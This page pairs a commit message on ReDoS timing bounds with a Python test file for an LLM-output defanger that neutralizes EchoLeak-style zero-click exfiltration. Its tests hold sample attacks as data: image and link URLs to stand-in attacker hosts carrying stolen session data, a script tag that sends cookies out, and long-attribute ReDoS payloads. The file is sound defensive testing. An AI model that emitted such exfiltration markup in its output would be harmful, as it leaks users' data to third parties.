`5667063` moved test_output.py's ReDoS bounds off the wall clock, because a loaded machine steals wall seconds without adding any cycles and two rows failed at 2.24s / 3.66s against a 2.0s bound while census had the CPU. The remaining ten bounds in five other files still ran on `time.monotonic()` and carried the same defect. They now share ONE clock. The clock is IMPORTED, not copied: `tests/redos_clock.py`. Five private copies would leave four of them unpinned -- the instrument test (test_the_redos_clock_ignores_time_this_process_did_not_spend) can only pin the implementation it calls, and the suite already holds that rule for the code it measures. Every ported row was verified the only way a time bound can be: the vulnerable form patched back in, red demanded, `git checkout --` after. Measured against the 2.0s bound (3.0s for the url arm): active_content long-attr `{0,63}` -> `*` RED neutralize long-attr same patch RED output gate long-attr same patch 12.41s okf link graph `[^\]\[]` -> `[^\]]` 6.91s sanitize comment str.find -> `<!--.*?-->` 17.56s lexicon md-link-anchor-text 319.14s lexicon md-link-anchor-url 8.55s lexicon md-link-ref-comment 37.82s Two rows did not go red, for two different reasons. test_sanitize.py::test_legitimate_comment_heavy_document is the legitimate SIDE of a separation, not a second pin on the defect: closed comments never withhold the required literal, so the lazy form runs it in 0.016s. Recorded in place. test_lexicon.py::test_redos_pathological_subagent_input_returns_fast is DEAD -- the same zero-signal shape the `<a ` carrier had, found by the same method. The seed form is `(?:.*?\s+)?` (llm-security 7.8.0, injection-patterns.mjs:84) and this repo has never carried it: the bounded `{0,12}?` port is in the pattern table's first commit. Patched in by hand at the row's own size: shipped 0.135s vs seed 0.113s, separation 1.2x. Not the keyword gate either -- a variant that reaches the inner branch stays linear over four doublings (exponent ~1.0), because the nesting is one lazy run inside an OPTIONAL group, never a repeated one. Left standing with the measurement written into it; picking a new carrier is an operator call, like the wall-clock row above it. The dead sibling row named in STATE is fixed: test_active_content.py's long-attribute row swaps carrier `<a ` -> `<script `, for the reason `5667063` established on its composed-gate twin -- 0.7.0's own no-URL narrowing put `<a>` in `_URL_AFFORDANCE_TAGS`, so the tag returns inert BEFORE its body reaches the arm the row guards. Re-measured here, not inherited: `<a ` 0.041s and NO findings against the vulnerable form; `<script ` 19.349s against 0.052s shipped, 373x apart. `test_pathological_input_returns_within_a_bound` deliberately keeps its wall clock (operator decision): it claims to catch a hang, and only a wall clock catches one. 792 tests, 129/129, 6/6.
194 lines
8.3 KiB
Python
194 lines
8.3 KiB
Python
"""Tests for active-content neutralization (build order step 6).
|
|
|
|
``neutralize`` is the opt-in, PURE defang helper for model OUTPUT. It closes the
|
|
EchoLeak class (CVE-2025-32711): active content in persisted model output that a
|
|
downstream renderer auto-fetches (markdown images) or makes clickable, leaking
|
|
data zero-click. These carriers are neither injection strings nor high-entropy,
|
|
so lexicon + entropy miss them entirely.
|
|
|
|
Invariants mirror the sanitizer: clean output returns byte-identical with an
|
|
empty report; only active-content constructs are ever rewritten. Mutation lives
|
|
here, kept separate from the report-only output gate (design principles 3 & 4).
|
|
The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals.
|
|
"""
|
|
import pytest
|
|
|
|
from llm_ingestion_guard.neutralize import neutralize
|
|
from llm_ingestion_guard.report import Severity, Source
|
|
from redos_clock import scan_seconds
|
|
|
|
|
|
def test_clean_output_is_byte_identical():
|
|
text = "A perfectly ordinary wiki paragraph. Costs $5! See section [1] below (really)."
|
|
result = neutralize(text)
|
|
assert result.text == text
|
|
assert result.report.found is False
|
|
|
|
|
|
def test_default_source_is_output():
|
|
# Unlike sanitize/fence (INPUT), this module targets the model's OUTPUT.
|
|
result = neutralize("")
|
|
assert result.report.found is True
|
|
assert all(f.source is Source.OUTPUT for f in result.report.findings)
|
|
|
|
|
|
def test_markdown_image_is_defanged_high_severity():
|
|
# The EchoLeak primitive: an auto-fetched image URL carrying exfiltrated data.
|
|
result = neutralize("")
|
|
assert "https://evil.example" not in result.text # fetchable URL is gone
|
|
assert "hxxps" in result.text
|
|
assert "logo" in result.text # alt text preserved for audit
|
|
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"]
|
|
assert len(img) == 1
|
|
assert img[0].severity is Severity.HIGH
|
|
assert img[0].detector == "neutralize"
|
|
assert img[0].owasp == "LLM05"
|
|
|
|
|
|
def test_defanged_url_is_not_resolvable():
|
|
result = neutralize("")
|
|
# Scheme neutralized and host dots bracketed -> no renderer will resolve it.
|
|
assert "hxxps://evil[.]example" in result.text
|
|
|
|
|
|
def test_secret_exfil_url_no_longer_fetchable():
|
|
exfil = "STOLEN-SESSION-DATA"
|
|
result = neutralize(f"")
|
|
# The secret text may remain visible, but never inside a fetchable URL.
|
|
assert "http://attacker.test" not in result.text
|
|
assert "hxxp://attacker[.]test" in result.text
|
|
|
|
|
|
def test_inline_link_is_defanged_medium():
|
|
result = neutralize("click [here](https://evil.example/go) now")
|
|
assert "https://evil.example" not in result.text
|
|
assert "here" in result.text
|
|
link = [f for f in result.report.findings if f.label == "neutralize:markdown-link"]
|
|
assert len(link) == 1
|
|
assert link[0].severity is Severity.MEDIUM
|
|
|
|
|
|
def test_image_is_not_double_counted_as_link():
|
|
result = neutralize("")
|
|
labels = {f.label for f in result.report.findings}
|
|
assert "neutralize:markdown-image" in labels
|
|
assert "neutralize:markdown-link" not in labels
|
|
|
|
|
|
def test_reference_style_link_definition_is_defanged():
|
|
text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
|
|
result = neutralize(text)
|
|
assert "https://evil.example" not in result.text
|
|
assert any(f.label == "neutralize:reference-link" for f in result.report.findings)
|
|
|
|
|
|
def test_angle_bracket_autolink_is_defanged():
|
|
result = neutralize("read more <https://evil.example/x> here")
|
|
assert "https://evil.example" not in result.text
|
|
assert "hxxps://evil[.]example" in result.text
|
|
assert any(f.label == "neutralize:autolink" for f in result.report.findings)
|
|
|
|
|
|
def test_raw_active_html_is_escaped():
|
|
result = neutralize('<img src="https://evil.example/leak?d=x">')
|
|
assert "<img" not in result.text # no longer renders as active content
|
|
assert "<img" in result.text
|
|
html = [f for f in result.report.findings if f.label == "neutralize:raw-html"]
|
|
assert len(html) == 1
|
|
assert html[0].severity is Severity.HIGH
|
|
|
|
|
|
@pytest.mark.parametrize("cid,text", [
|
|
("relative-href-on-inactive-name", '<Card href="/en/agent-sdk/quickstart">'),
|
|
("attributeless-base", "<base />"),
|
|
# 0.7.0's no-URL narrowing. The scanner now lets these pass — they name no
|
|
# target — but the mutator still escapes them, because a human auditing
|
|
# defanged output should see the markup that was there.
|
|
("end-tag", "</a>"),
|
|
("mdx-wrapper-component", "<Frame>"),
|
|
("self-closing-media", "<video />"),
|
|
("img-without-src", '<img alt="a diagram">'),
|
|
])
|
|
def test_mutator_still_defangs_what_the_scanner_now_lets_pass(cid, text):
|
|
# The deliberate asymmetry, extended to raw HTML in 0.6.0: the SCANNER narrowed
|
|
# its URL-attribute branch to external targets and dropped `<base>` from the name
|
|
# set; the opt-in MUTATOR keeps defanging anything. Over-defanging costs nothing
|
|
# here — it is auditable and blocks no disposition — while under-defanging would
|
|
# hand a human a live construct.
|
|
#
|
|
# Pinned because the two predicates are separate symbols as of this change
|
|
# (`is_active_tag` vs `is_defangable_tag`). Before the split, `neutralize`
|
|
# imported the scanner's predicate by name, so narrowing it would have moved the
|
|
# mutator silently — no test in this suite discriminated the two.
|
|
result = neutralize(text)
|
|
assert result.report.found is True, cid
|
|
assert any(f.label == "neutralize:raw-html" for f in result.report.findings), cid
|
|
assert "<" in result.text, f"{cid}: not escaped -- {result.text!r}"
|
|
|
|
|
|
def test_benign_formatting_html_is_left_untouched():
|
|
text = "This is **bold** and <b>strong</b> and <em>emph</em> text."
|
|
result = neutralize(text)
|
|
assert result.text == text
|
|
assert result.report.found is False
|
|
|
|
|
|
def test_script_tag_is_neutralized():
|
|
result = neutralize("<script>fetch('https://evil.example/'+document.cookie)</script>")
|
|
assert "<script>" not in result.text
|
|
assert any(f.label == "neutralize:raw-html" for f in result.report.findings)
|
|
|
|
|
|
def test_standalone_data_uri_is_defanged():
|
|
result = neutralize("open data:text/html;base64,PHNjcmlwdD4= please")
|
|
assert "data:text/html" not in result.text
|
|
assert any(f.label == "neutralize:data-uri" for f in result.report.findings)
|
|
|
|
|
|
def test_data_uri_does_not_match_inside_a_word():
|
|
# "metadata:" must not be mistaken for a data: URI (FP guard, as in sanitize).
|
|
text = "the metadata: field is documented here"
|
|
result = neutralize(text)
|
|
assert result.text == text
|
|
assert result.report.found is False
|
|
|
|
|
|
def test_multiple_images_are_counted():
|
|
result = neutralize(" ")
|
|
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"][0]
|
|
assert img.count == 2
|
|
|
|
|
|
def test_source_override_is_respected():
|
|
result = neutralize("", source=Source.INPUT)
|
|
assert all(f.source is Source.INPUT for f in result.report.findings)
|
|
|
|
|
|
def test_prose_with_lone_brackets_and_angles_is_identical():
|
|
# FP guards: none of these are active constructs.
|
|
text = "if a < b and c > d then see [note] and call f(x)."
|
|
result = neutralize(text)
|
|
assert result.text == text
|
|
assert result.report.found is False
|
|
|
|
|
|
# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------
|
|
# Second call site of the same defect pinned in test_active_content.py: the
|
|
# defanger runs `URL_IN_TEXT_RE` over each active tag's body. 14.9s at 100_000
|
|
# chars, exponent 1.91-2.22. `neutralize` applies no input cap either.
|
|
_ATTR_REDOS_N = 100_000
|
|
|
|
|
|
def test_crafted_long_attribute_tag_stays_bounded():
|
|
# Carrier stays `<a `, unlike the scanner-side twin in test_active_content.py:
|
|
# the mutator keeps the whole tag set via `is_defangable_tag`, so 0.7.0's
|
|
# no-URL narrowing did not make `<a >` inert here. Verified by measurement,
|
|
# not by symmetry — see the comment on that row for what killed it there.
|
|
payload = "<a " + "A" * _ATTR_REDOS_N + ">"
|
|
assert scan_seconds(neutralize, payload) < 2.0
|
|
|
|
|
|
def test_url_defanging_inside_a_tag_survives_the_redos_fix():
|
|
result = neutralize("<a href=-http://evil.com>x</a>")
|
|
assert "hxxp" in result.text
|
|
assert "http://evil.com" not in result.text
|